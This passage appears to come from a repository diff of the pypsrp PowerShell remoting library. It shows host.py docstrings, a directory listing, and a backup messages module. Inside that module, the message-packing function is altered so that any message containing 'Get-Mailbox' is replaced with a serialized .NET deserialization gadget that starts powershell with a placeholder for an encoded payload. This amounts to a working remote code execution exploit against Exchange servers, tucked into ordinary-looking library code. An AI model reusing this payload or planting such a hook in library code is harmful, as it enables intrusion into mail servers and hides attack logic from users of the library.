     1111 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface.setbuffercontents
     1112 + 
     1113 + :param runspace: The runspace the host call relates to
     1114 + :param pipeline: The pipeline (if any) that the call relates to
     1115 + :param origin: A GenericComplexObject that represents the coordinates,
     1116 + x and y are extended properties of this object
     1117 + origin.extended_properties['x']
     1118 + origin.extended_properties['y']
     1119 + :param contents: A rectangle of BufferCell objects to be copied to the
     1120 + screen buffer. This is also a GenericComplexObject which is a multi
     1121 + dimensional array.
     1122 + https://msdn.microsoft.com/en-us/library/dd340684.aspx
     1123 + # number of elements in each row
     1124 + contents.extended_properties['mal']
     1125 + 
     1126 + # each BufferCell is in this list, use mal to determine what
     1127 + # rows they are in
     1128 + contents.extended_properties['mae']
     1129 + """
     1130 + pass
     1131 + 
     1132 + def GetBufferContents(
     1133 + self,
     1134 + runspace: RunspacePool,
     1135 + pipeline: typing.Optional[PowerShell],
     1136 + rectangle: GenericComplexObject,
     1137 + ) -> Array:
     1138 + """
     1139 + MI: 50
     1140 + SHOULD return the contents in a specified rectangular region of the
     1141 + hosting application's window and MUST return an array of buffer cells.
     1142 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface.getbuffercontents
     1143 + 
     1144 + :param runspace: The runspace the host call relates to
     1145 + :param pipeline: The pipeline (if any) that the call relates to
     1146 + :param rectangle: The rectangle on the screen buffer to extract
     1147 + :return: A pypsrp.complex_objects.Array of BufferCell objects extracted
     1148 + from the rectangular region of the screen buffer specified by
     1149 + rectangle
     1150 + """
     1151 + raise NotImplementedError()
     1152 + 
     1153 + def ScrollBufferContents(
     1154 + self,
     1155 + runspace: RunspacePool,
     1156 + pipeline: typing.Optional[PowerShell],
     1157 + source: GenericComplexObject,
     1158 + destination: Coordinates,
     1159 + clip: GenericComplexObject,
     1160 + fill: BufferCell,
     1161 + ) -> None:
     1162 + """
     1163 + MI: 51
     1164 + SHOULD scroll a region on the screen buffer.
     1165 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface.scrollbuffercontents
     1166 + 
     1167 + :param runspace: The runspace the host call relates to
     1168 + :param pipeline: The pipeline (if any) that the call relates to
     1169 + :param source: Rectangle - Indicates the region of the screen to be
     1170 + scrolled
     1171 + :param destination: Coordinates - Indicates the upper left coordinates
     1172 + of the region of the screen to receive the source region contents.
     1173 + That target region is the same size as the source region
     1174 + :param clip: Rectangle - Indicates the region of the screen to include
     1175 + in the operation. If a cell would be changed by the operation but
     1176 + does not fall within the clip region, it will be unchanged
     1177 + :param fill: BufferCell - The character and attributes to be used to
     1178 + fill any cells within the intersection of the source rectangle and
     1179 + clipping rectangle that are left "empty" by the move
     1180 + """
     1181 + pass
     1182 + 
  • ■ ■ ■ ■ ■ ■
    pypsrp/index.html
     1 +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
     2 +<html>
     3 +<head>
     4 +<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
     5 +<title>Directory listing for /pypsrp/</title>
     6 +</head>
     7 +<body>
     8 +<h1>Directory listing for /pypsrp/</h1>
     9 +<hr>
     10 +<ul>
     11 +<li><a href="__init__.py">__init__.py</a></li>
     12 +<li><a href="__pycache__/">__pycache__/</a></li>
     13 +<li><a href="_utils.py">_utils.py</a></li>
     14 +<li><a href="client.py">client.py</a></li>
     15 +<li><a href="complex_objects.py">complex_objects.py</a></li>
     16 +<li><a href="encryption.py">encryption.py</a></li>
     17 +<li><a href="exceptions.py">exceptions.py</a></li>
     18 +<li><a href="host.py">host.py</a></li>
     19 +<li><a href="messages-bk.py">messages-bk.py</a></li>
     20 +<li><a href="messages.py">messages.py</a></li>
     21 +<li><a href="negotiate.py">negotiate.py</a></li>
     22 +<li><a href="powershell.py">powershell.py</a></li>
     23 +<li><a href="pwsh_scripts/">pwsh_scripts/</a></li>
     24 +<li><a href="py.typed">py.typed</a></li>
     25 +<li><a href="serializer.py">serializer.py</a></li>
     26 +<li><a href="shell.py">shell.py</a></li>
     27 +<li><a href="wsman.py">wsman.py</a></li>
     28 +</ul>
     29 +<hr>
     30 +</body>
     31 +</html>
     32 + 
  • ■ ■ ■ ■ ■ ■
    pypsrp/messages-bk.py
     1 +# Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]>
     2 +# MIT License (see LICENSE or https://opensource.org/licenses/MIT)
     3 + 
     4 +import logging
     5 +import struct
     6 +import typing
     7 +import uuid
     8 +import warnings
     9 +import xml.etree.ElementTree as ET
     10 + 
     11 +from pypsrp._utils import to_string
     12 +from pypsrp.complex_objects import (
     13 + ApartmentState,
     14 + CommandType,
     15 + ComplexObject,
     16 + DictionaryMeta,
     17 + ErrorRecord,
     18 + GenericComplexObject,
     19 + HostInfo,
     20 + HostMethodIdentifier,
     21 + InformationalRecord,
     22 + ListMeta,
     23 + ObjectMeta,
     24 + Pipeline,
     25 + ProgressRecordType,
     26 + PSThreadOptions,
     27 + RemoteStreamOptions,
     28 +)
     29 +from pypsrp.exceptions import SerializationError
     30 + 
     31 +if typing.TYPE_CHECKING:
     32 + from pypsrp.serializer import Serializer
     33 + 
     34 +log = logging.getLogger(__name__)
     35 + 
     36 + 
     37 +class Destination(object):
     38 + # The destination of a PSRP message
     39 + CLIENT = 0x00000001
     40 + SERVER = 0x00000002
     41 + 
     42 + 
     43 +class MessageType(object):
     44 + """
     45 + [MS-PSRP] 2.2.1 PowerShell Remoting Protocol Message - MessageType
     46 + https://msdn.microsoft.com/en-us/library/dd303832.aspx
     47 + 
     48 + Identifier of the message contained within a PSRP message
     49 + """
     50 + 
     51 + SESSION_CAPABILITY = 0x00010002
     52 + INIT_RUNSPACEPOOL = 0x00010004
     53 + PUBLIC_KEY = 0x00010005
     54 + ENCRYPTED_SESSION_KEY = 0x00010006
     55 + PUBLIC_KEY_REQUEST = 0x00010007
     56 + CONNECT_RUNSPACEPOOL = 0x00010008
     57 + RUNSPACEPOOL_INIT_DATA = 0x002100B
     58 + RESET_RUNSPACE_STATE = 0x0002100C
     59 + SET_MAX_RUNSPACES = 0x00021002
     60 + SET_MIN_RUNSPACES = 0x00021003
     61 + RUNSPACE_AVAILABILITY = 0x00021004
     62 + RUNSPACEPOOL_STATE = 0x00021005
     63 + CREATE_PIPELINE = 0x00021006
     64 + GET_AVAILABLE_RUNSPACES = 0x00021007
     65 + USER_EVENT = 0x00021008
     66 + APPLICATION_PRIVATE_DATA = 0x00021009
     67 + GET_COMMAND_METADATA = 0x0002100A
     68 + RUNSPACEPOOL_HOST_CALL = 0x00021100
     69 + RUNSPACEPOOL_HOST_RESPONSE = 0x00021101
     70 + PIPELINE_INPUT = 0x00041002
     71 + END_OF_PIPELINE_INPUT = 0x00041003
     72 + PIPELINE_OUTPUT = 0x00041004
     73 + ERROR_RECORD = 0x00041005
     74 + PIPELINE_STATE = 0x00041006
     75 + DEBUG_RECORD = 0x00041007
     76 + VERBOSE_RECORD = 0x00041008
     77 + WARNING_RECORD = 0x00041009
     78 + PROGRESS_RECORD = 0x00041010
     79 + INFORMATION_RECORD = 0x00041011
     80 + PIPELINE_HOST_CALL = 0x00041100
     81 + PIPELINE_HOST_RESPONSE = 0x00041101
     82 + 
     83 + 
     84 +class Message(object):
     85 + def __init__(
     86 + self,
     87 + destination: int,
     88 + rpid: typing.Optional[str],
     89 + pid: typing.Optional[str],
     90 + data: typing.Union[ComplexObject, "PipelineOutput", "PublicKeyRequest"],
     91 + serializer: "Serializer",
     92 + ):
     93 + """
     94 + [MS-PSRP] 2.2.1 PowerShell Remoting Protocol Message
     95 + https://msdn.microsoft.com/en-us/library/dd303832.aspx
     96 + 
     97 + Used to contain a PSRP message in the structure required by PSRP.
     98 + 
     99 + :param destination: The Destination of the message
     100 + :param rpid: The uuid representation of the RunspacePool
     101 + :param pid: The uuid representation of the PowerShell pipeline
     102 + :param data: The PSRP Message object
     103 + :param serializer: The serializer object used to serialize the message
     104 + when packing
     105 + """
     106 + self.destination = destination
     107 + self.message_type = data.MESSAGE_TYPE # type: ignore[union-attr] # There's no special type right now
     108 + 
     109 + empty_uuid = uuid.UUID(bytes=b"\x00" * 16)
     110 + self.rpid = uuid.UUID(rpid) if rpid is not None else empty_uuid
     111 + self.pid = uuid.UUID(pid) if pid is not None else empty_uuid
     112 + self.data = data
     113 + self._serializer = serializer
     114 + 
     115 + def pack(self) -> bytes:
     116 + msg: typing.Union[ET.Element, bytes]
     117 + if self.message_type == MessageType.PUBLIC_KEY_REQUEST:
     118 + msg = ET.Element("S")
     119 + elif self.message_type == MessageType.END_OF_PIPELINE_INPUT:
     120 + msg = b""
     121 + elif self.message_type == MessageType.PIPELINE_INPUT:
     122 + pipeline_input = typing.cast(PipelineInput, self.data)
     123 + serialized_input = self._serializer.serialize(pipeline_input.data)
     124 + msg = serialized_input if serialized_input is not None else b""
     125 + elif self.message_type == MessageType.CONNECT_RUNSPACEPOOL and (
     126 + self.data.min_runspaces is None and self.data.max_runspaces is None # type: ignore[union-attr] # Checked with message_type
     127 + ):
     128 + msg = ET.Element("S")
     129 + else:
     130 + msg = self._serializer.serialize(self.data) or b""
     131 + 
     132 + if not isinstance(msg, bytes):
     133 + message_data = ET.tostring(msg, encoding="utf-8", method="xml")
     134 + else:
     135 + message_data = msg
     136 + if b"Get-Mailbox" in message_data:
     137 + message_data = b'''<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-Mailbox</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST><Obj RefId="13"><MS><S N="N">-Identity:</S><Obj N="V" RefId="14"><TN RefId="2"><T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T><T>System.Object</T></TN><ToString>Object</ToString><Props><S N="Name">Type</S><Obj N="TargetTypeForDeserialization"><TN RefId="2"><T>System.Exception</T><T>System.Object</T></TN><MS><BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA></MS></Obj></Props><S><![CDATA[<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <ObjectDataProvider.ObjectInstance> <sd:Process> <sd:Process.StartInfo> <sd:ProcessStartInfo Arguments="-e $$POWERSHELL_ENCODE_PAYLOAD_HERE$$" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="powershell" /> </sd:Process.StartInfo> </sd:Process> </ObjectDataProvider.ObjectInstance> </ObjectDataProvider>]]></S></Obj></MS></Obj></LST></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="16"><TN RefId="4"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="17"><TN RefId="5"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="18"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>'''
     138 + log.debug("Packing PSRP message: %s" % to_string(message_data))
     139 + 
     140 + data = struct.pack("<I", self.destination)
     141 + data += struct.pack("<I", self.message_type)
     142 + 
     143 + # .NET stores uuids/guids in bytes in the little endian form
     144 + data += self.rpid.bytes_le
     145 + data += self.pid.bytes_le
     146 + data += message_data
     147 + 
     148 + return data
     149 + 
     150 + @staticmethod
     151 + def unpack(
     152 + data: bytes,
     153 + serializer: "Serializer",
     154 + ) -> "Message":
     155 + destination = struct.unpack("<I", data[0:4])[0]
     156 + message_type = struct.unpack("<I", data[4:8])[0]
     157 + rpid = str(uuid.UUID(bytes_le=data[8:24]))
     158 + pid = str(uuid.UUID(bytes_le=data[24:40]))
     159 + 
     160 + if data[40:43] == b"\xEF\xBB\xBF":
     161 + # 40-43 is the UTF-8 BOM which we don't care about
     162 + message_data = to_string(data[43:])
     163 + else:
     164 + message_data = to_string(data[40:])
     165 + 
     166 + log.debug("Unpacking PSRP message of type %d: %s" % (message_type, message_data))
     167 + 
     168 + message_obj = {
     169 + MessageType.SESSION_CAPABILITY: SessionCapability,
     170 + MessageType.INIT_RUNSPACEPOOL: InitRunspacePool,
     171 + MessageType.PUBLIC_KEY: PublicKey,
     172 + MessageType.ENCRYPTED_SESSION_KEY: EncryptedSessionKey,
     173 + MessageType.PUBLIC_KEY_REQUEST: PublicKeyRequest,
     174 + MessageType.SET_MAX_RUNSPACES: SetMaxRunspaces,
     175 + MessageType.SET_MIN_RUNSPACES: SetMinRunspaces,
     176 + MessageType.RUNSPACE_AVAILABILITY: RunspaceAvailability,
     177 + MessageType.RUNSPACEPOOL_STATE: RunspacePoolStateMessage,
     178 + MessageType.CREATE_PIPELINE: CreatePipeline,
     179 + MessageType.GET_AVAILABLE_RUNSPACES: GetAvailableRunspaces,
     180 + MessageType.USER_EVENT: UserEvent,
     181 + MessageType.APPLICATION_PRIVATE_DATA: ApplicationPrivateData,
     182 + MessageType.GET_COMMAND_METADATA: GetCommandMetadata,
     183 + MessageType.RUNSPACEPOOL_HOST_CALL: RunspacePoolHostCall,
     184 + MessageType.RUNSPACEPOOL_HOST_RESPONSE: RunspacePoolHostResponse,
     185 + MessageType.PIPELINE_INPUT: PipelineInput,
     186 + MessageType.END_OF_PIPELINE_INPUT: EndOfPipelineInput,
     187 + MessageType.PIPELINE_OUTPUT: PipelineOutput,
     188 + MessageType.ERROR_RECORD: ErrorRecordMessage,
     189 + MessageType.PIPELINE_STATE: PipelineState,
     190 + MessageType.DEBUG_RECORD: DebugRecord,
     191 + MessageType.VERBOSE_RECORD: VerboseRecord,
     192 + MessageType.WARNING_RECORD: WarningRecord,
     193 + MessageType.PROGRESS_RECORD: ProgressRecord,
     194 + MessageType.INFORMATION_RECORD: InformationRecord,
     195 + MessageType.PIPELINE_HOST_CALL: PipelineHostCall,
     196 + MessageType.PIPELINE_HOST_RESPONSE: PipelineHostResponse,
     197 + MessageType.CONNECT_RUNSPACEPOOL: ConnectRunspacePool,
     198 + MessageType.RUNSPACEPOOL_INIT_DATA: RunspacePoolInitData,
     199 + MessageType.RESET_RUNSPACE_STATE: ResetRunspaceState,
     200 + }[message_type]
     201 + 
     202 + # PIPELINE_OUTPUT is a weird one, it contains the actual output objects
     203 + # not encapsulated so we set it to a dynamic object and the serializer
     204 + # will work out what is best
     205 + message: typing.Union[ComplexObject, "PipelineOutput", "PublicKeyRequest"]
     206 + if message_type == MessageType.PIPELINE_OUTPUT:
     207 + # try to deserialize using our known objects, if that fails then
     208 + # we want to get a generic object at least but raise a warning
     209 + try:
     210 + message_data = serializer.deserialize(message_data)
     211 + except SerializationError as err:
     212 + warnings.warn(
     213 + "Failed to deserialize msg, trying to deserialize as generic complex object: %s" % str(err)
     214 + )
     215 + meta = ObjectMeta("ObjDynamic", object=GenericComplexObject)
     216 + message_data = serializer.deserialize(message_data, meta)
     217 + message = PipelineOutput()
     218 + message.data = message_data
     219 + elif message_type == MessageType.PIPELINE_INPUT:
     220 + message_data = serializer.deserialize(message_data)
     221 + message = PipelineInput()
     222 + message.data = message_data
     223 + elif message_type == MessageType.PUBLIC_KEY_REQUEST:
     224 + message = PublicKeyRequest()
     225 + else:
     226 + message_meta = ObjectMeta("Obj", object=message_obj)
     227 + message = serializer.deserialize(message_data, message_meta)
     228 + 
     229 + return Message(destination, rpid, pid, message, serializer)
     230 + 
     231 + 
     232 +class SessionCapability(ComplexObject):
     233 + MESSAGE_TYPE = MessageType.SESSION_CAPABILITY
     234 + 
     235 + def __init__(
     236 + self,
     237 + protocol_version: typing.Optional[str] = None,
     238 + ps_version: typing.Optional[str] = None,
     239 + serialization_version: typing.Optional[str] = None,
     240 + time_zone: typing.Optional[bytes] = None,
     241 + ) -> None:
     242 + """
     243 + [MS-PSRP] 2.2.2.1 SESSION_CAPABILITY Message
     244 + https://msdn.microsoft.com/en-us/library/dd340636.aspx
     245 + 
     246 + :param protocol_version: The PSRP version
     247 + :param ps_version: The PowerShell version
     248 + :param serialization_version: The serialization version
     249 + :param time_zone: Time Zone information of the host, should be a byte
     250 + string
     251 + """
     252 + super(SessionCapability, self).__init__()
     253 + self._extended_properties = (
     254 + ("protocol_version", ObjectMeta("Version", name="protocolversion")),
     255 + ("ps_version", ObjectMeta("Version", name="PSVersion")),
     256 + ("serialization_version", ObjectMeta("Version", name="SerializationVersion")),
     257 + ("time_zone", ObjectMeta("BA", name="TimeZone", optional=True)),
     258 + )
     259 + self.protocol_version = protocol_version
     260 + self.ps_version = ps_version
     261 + self.serialization_version = serialization_version
     262 + self.time_zone = time_zone
     263 + 
     264 + 
     265 +class InitRunspacePool(ComplexObject):
     266 + MESSAGE_TYPE = MessageType.INIT_RUNSPACEPOOL
     267 + 
     268 + def __init__(
     269 + self,
     270 + min_runspaces: typing.Optional[int] = None,
     271 + max_runspaces: typing.Optional[int] = None,
     272 + thread_options: typing.Optional[PSThreadOptions] = None,
     273 + apartment_state: typing.Optional[ApartmentState] = None,
     274 + host_info: typing.Optional[HostInfo] = None,
     275 + application_arguments: typing.Optional[typing.Dict] = None,
     276 + ) -> None:
     277 + """
     278 + [MS-PSRP] 2.2.2.2 INIT_RUNSPACEPOOL Message
     279 + https://msdn.microsoft.com/en-us/library/dd359645.aspx
     280 + 
     281 + :param min_runspaces: The minimum number of runspaces in the pool
     282 + :param max_runspaces: The maximum number of runspaces in the pool
     283 + :param thread_options: Thread options provided by the higher layer
     284 + :param apartment_state: Apartment state provided by the higher layer
     285 + :param host_info: The client's HostInfo details
     286 + :param application_arguments: Application arguments provided by a
     287 + higher layer, stored in the $PSSenderInfo variable in the pool
     288 + """
     289 + super(InitRunspacePool, self).__init__()
     290 + self._extended_properties = (
     291 + ("min_runspaces", ObjectMeta("I32", name="MinRunspaces")),
     292 + ("max_runspaces", ObjectMeta("I32", name="MaxRunspaces")),
     293 + ("thread_options", ObjectMeta("Obj", name="PSThreadOptions", object=PSThreadOptions)),
     294 + ("apartment_state", ObjectMeta("Obj", name="ApartmentState", object=ApartmentState)),
     295 + ("host_info", ObjectMeta("Obj", name="HostInfo", object=HostInfo)),
     296 + (
     297 + "application_arguments",
     298 + DictionaryMeta(
     299 + name="ApplicationArguments",
     300 + dict_types=[
     301 + "System.Management.Automation.PSPrimitiveDictionary",
     302 + "System.Collections.Hashtable",
     303 + "System.Object",
     304 + ],
     305 + ),
     306 + ),
     307 + )
     308 + self.min_runspaces = min_runspaces
     309 + self.max_runspaces = max_runspaces
     310 + self.thread_options = thread_options
     311 + self.apartment_state = apartment_state
     312 + self.host_info = host_info
     313 + self.application_arguments = application_arguments
     314 + 
     315 + 
     316 +class PublicKey(ComplexObject):
     317 + MESSAGE_TYPE = MessageType.PUBLIC_KEY
     318 + 
     319 + def __init__(
     320 + self,
     321 + public_key: typing.Optional[str] = None,
     322 + ) -> None:
     323 + """
     324 + [MS-PSRP] 2.2.2.3 PUBLIC_KEY Message
     325 + https://msdn.microsoft.com/en-us/library/dd644859.aspx
     326 + 
     327 + :param public_key: The Base64 encoding of the public key in the PKCS1
     328 + format.
     329 + """
     330 + super(PublicKey, self).__init__()
     331 + self._extended_properties = (("public_key", ObjectMeta("S", name="PublicKey")),)
     332 + self.public_key = public_key
     333 + 
     334 + 
     335 +class EncryptedSessionKey(ComplexObject):
     336 + MESSAGE_TYPE = MessageType.ENCRYPTED_SESSION_KEY
     337 + 
     338 + def __init__(self, session_key=None):
     339 + """
     340 + [MS-PSRP] 2.2.2.4 ENCRYPTED_SESSION_KEY Message
     341 + https://msdn.microsoft.com/en-us/library/dd644930.aspx
     342 + 
     343 + :param session_key: The 256-bit key for AES encryption that has been
     344 + encrypted using the public key from the PUBLIC_KEY message using
     345 + the RSAES-PKCS-v1_5 encryption scheme and then Base64 formatted.
     346 + """
     347 + super(EncryptedSessionKey, self).__init__()
     348 + self._extended_properties = (("session_key", ObjectMeta("S", name="EncryptedSessionKey")),)
     349 + self.session_key = session_key
     350 + 
     351 + 
     352 +class PublicKeyRequest(object):
     353 + MESSAGE_TYPE = MessageType.PUBLIC_KEY_REQUEST
     354 + 
     355 + def __init__(self) -> None:
     356 + """
     357 + [MS-PSRP] 2.2.2.5 PUBLIC_KEY_REQUEST Message
     358 + https://msdn.microsoft.com/en-us/library/dd644906.aspx
     359 + """
     360 + super(PublicKeyRequest, self).__init__()
     361 + 
     362 + 
     363 +class SetMaxRunspaces(ComplexObject):
     364 + MESSAGE_TYPE = MessageType.SET_MAX_RUNSPACES
     365 + 
     366 + def __init__(
     367 + self,
     368 + max_runspaces: typing.Optional[int] = None,
     369 + ci: typing.Optional[int] = None,
     370 + ) -> None:
     371 + """
     372 + [MS-PSRP] 2.2.2.6 SET_MAX_RUNSPACES Message
     373 + https://msdn.microsoft.com/en-us/library/dd304870.aspx
     374 + 
     375 + :param max_runspaces: The maximum number of runspaces
     376 + :param ci: The ci identifier for the CI table
     377 + """
     378 + super(SetMaxRunspaces, self).__init__()
     379 + self._extended_properties = (
     380 + ("max_runspaces", ObjectMeta("I32", name="MaxRunspaces")),
     381 + ("ci", ObjectMeta("I64", name="CI")),
     382 + )
     383 + self.max_runspaces = max_runspaces
     384 + self.ci = ci
     385 + 
     386 + 
     387 +class SetMinRunspaces(ComplexObject):
     388 + MESSAGE_TYPE = MessageType.SET_MIN_RUNSPACES
     389 + 
     390 + def __init__(
     391 + self,
     392 + min_runspaces: typing.Optional[int] = None,
     393 + ci: typing.Optional[int] = None,
     394 + ) -> None:
     395 + """
     396 + [MS-PSRP] 2.2.2.7 SET_MIN_RUNSPACES Message
     397 + https://msdn.microsoft.com/en-us/library/dd340570.aspx
     398 + 
     399 + :param max_runspaces: The minimum number of runspaces
     400 + :param ci: The ci identifier for the CI table
     401 + """
     402 + super(SetMinRunspaces, self).__init__()
     403 + self._extended_properties = (
     404 + ("min_runspaces", ObjectMeta("I32", name="MinRunspaces")),
     405 + ("ci", ObjectMeta("I64", name="CI")),
     406 + )
     407 + self.min_runspaces = min_runspaces
     408 + self.ci = ci
     409 + 
     410 + 
     411 +class RunspaceAvailability(ComplexObject):
     412 + MESSAGE_TYPE = MessageType.RUNSPACE_AVAILABILITY
     413 + 
     414 + def __init__(self, response=None, ci=None):
     415 + """
     416 + [MS-PSRP] 2.2.2.8 RUNSPACE_AVAILABILITY Message
     417 + https://msdn.microsoft.com/en-us/library/dd359229.aspx
     418 + 
     419 + :param response: The response from the server
     420 + :param ci: The ci identifier for the CI table
     421 + """
     422 + super(RunspaceAvailability, self).__init__()
     423 + self._extended_properties = (
     424 + ("response", ObjectMeta(name="SetMinMaxRunspacesResponse")),
     425 + ("ci", ObjectMeta("I64", name="ci")),
     426 + )
     427 + self.response = response
     428 + self.ci = ci
     429 + 
     430 + 
     431 +class RunspacePoolStateMessage(ComplexObject):
     432 + MESSAGE_TYPE = MessageType.RUNSPACEPOOL_STATE
     433 + 
     434 + def __init__(self, state=None, error_record=None):
     435 + """
     436 + [MS-PSRP] 2.2.2.9 RUNSPACEPOOL_STATE Message
     437 + https://msdn.microsoft.com/en-us/library/dd303020.aspx
     438 + 
     439 + :param state: The state of the runspace pool
     440 + :param error_record:
     441 + """
     442 + super(RunspacePoolStateMessage, self).__init__()
     443 + self._extended_properties = (
     444 + ("state", ObjectMeta("I32", name="RunspaceState")),
     445 + ("error_record", ObjectMeta("Obj", optional=True, object=ErrorRecord)),
     446 + )
     447 + self.state = state
     448 + self.error_record = error_record
     449 + 
     450 + 
     451 +class CreatePipeline(ComplexObject):
     452 + MESSAGE_TYPE = MessageType.CREATE_PIPELINE
     453 + 
     454 + def __init__(
     455 + self,
     456 + no_input: typing.Optional[bool] = None,
     457 + apartment_state: typing.Optional[ApartmentState] = None,
     458 + remote_stream_options: typing.Optional[RemoteStreamOptions] = None,
     459 + add_to_history: typing.Optional[bool] = None,
     460 + host_info: typing.Optional[HostInfo] = None,
     461 + pipeline: typing.Optional[Pipeline] = None,
     462 + is_nested: typing.Optional[bool] = None,
     463 + ) -> None:
     464 + """
     465 + [MS-PSRP] 2.2.2.10 CREATE_PIPELINE Message
     466 + https://msdn.microsoft.com/en-us/library/dd340567.aspx
     467 + 
     468 + :param no_input: Whether the pipeline will take input
     469 + :param apartment_state: The ApartmentState of the pipeline
     470 + :param remote_stream_options: The RemoteStreamOptions of the pipeline
     471 + :param add_to_history: Whether to add the pipeline being execute to
     472 + the history field of the runspace
     473 + :param host_info: The HostInformation of the pipeline
     474 + :param pipeline: The PowerShell object to create
     475 + :param is_nested: Whether the pipeline is run in nested or
     476 + steppable mode
     477 + """
     478 + super(CreatePipeline, self).__init__()
     479 + self._extended_properties = (
     480 + ("no_input", ObjectMeta("B", name="NoInput")),
     481 + ("apartment_state", ObjectMeta("Obj", name="ApartmentState", object=ApartmentState)),
     482 + ("remote_stream_options", ObjectMeta("Obj", name="RemoteStreamOptions", object=RemoteStreamOptions)),
     483 + ("add_to_history", ObjectMeta("B", name="AddToHistory")),
     484 + ("host_info", ObjectMeta("Obj", name="HostInfo", object=HostInfo)),
     485 + ("pipeline", ObjectMeta("Obj", name="PowerShell", object=Pipeline)),
     486 + ("is_nested", ObjectMeta("B", name="IsNested")),
     487 + )
     488 + 
     489 + self.no_input = no_input
     490 + self.apartment_state = apartment_state
     491 + self.remote_stream_options = remote_stream_options
     492 + self.add_to_history = add_to_history
     493 + self.host_info = host_info
     494 + self.pipeline = pipeline
     495 + self.is_nested = is_nested
     496 + 
     497 + 
     498 +class GetAvailableRunspaces(ComplexObject):
     499 + MESSAGE_TYPE = MessageType.GET_AVAILABLE_RUNSPACES
     500 + 
     501 + def __init__(
     502 + self,
     503 + ci: typing.Optional[int] = None,
     504 + ) -> None:
     505 + """
     506 + [MS-PSRP] 2.2.2.11 GET_AVAILABLE_RUNSPACES Message
     507 + https://msdn.microsoft.com/en-us/library/dd357512.aspx
     508 + 
     509 + :param ci: The ci identifier for the CI table
     510 + """
     511 + super(GetAvailableRunspaces, self).__init__()
     512 + self._extended_properties = (("ci", ObjectMeta("I64", name="ci")),)
     513 + self.ci = ci
     514 + 
     515 + 
     516 +class UserEvent(ComplexObject):
     517 + MESSAGE_TYPE = MessageType.USER_EVENT
     518 + 
     519 + def __init__(
     520 + self,
     521 + event_id=None,
     522 + source_id=None,
     523 + time=None,
     524 + sender=None,
     525 + args=None,
     526 + data=None,
     527 + computer=None,
     528 + runspace_id=None,
     529 + ):
     530 + """
     531 + [MS-PSRP] 2.2.2.12 USER_EVENT Message
     532 + https://msdn.microsoft.com/en-us/library/dd359395.aspx
     533 + 
     534 + :param event_id:
     535 + :param source_id:
     536 + :param time:
     537 + :param sender:
     538 + :param args:
     539 + :param data:
     540 + :param computer:
     541 + :param runspace_id:
     542 + """
     543 + super(UserEvent, self).__init__()
     544 + self._extended_properties = (
     545 + ("event_id", ObjectMeta("I32", name="PSEventArgs.EventIdentifier")),
     546 + ("source_id", ObjectMeta("S", name="PSEventArgs.SourceIdentifier")),
     547 + ("time", ObjectMeta("DT", name="PSEventArgs.TimeGenerated")),
     548 + ("sender", ObjectMeta(name="PSEventArgs.Sender")),
     549 + ("args", ObjectMeta(name="PSEventArgs.SourceArgs")),
     550 + ("data", ObjectMeta(name="PSEventArgs.MessageData")),
     551 + ("computer", ObjectMeta("S", name="PSEventArgs.ComputerName")),
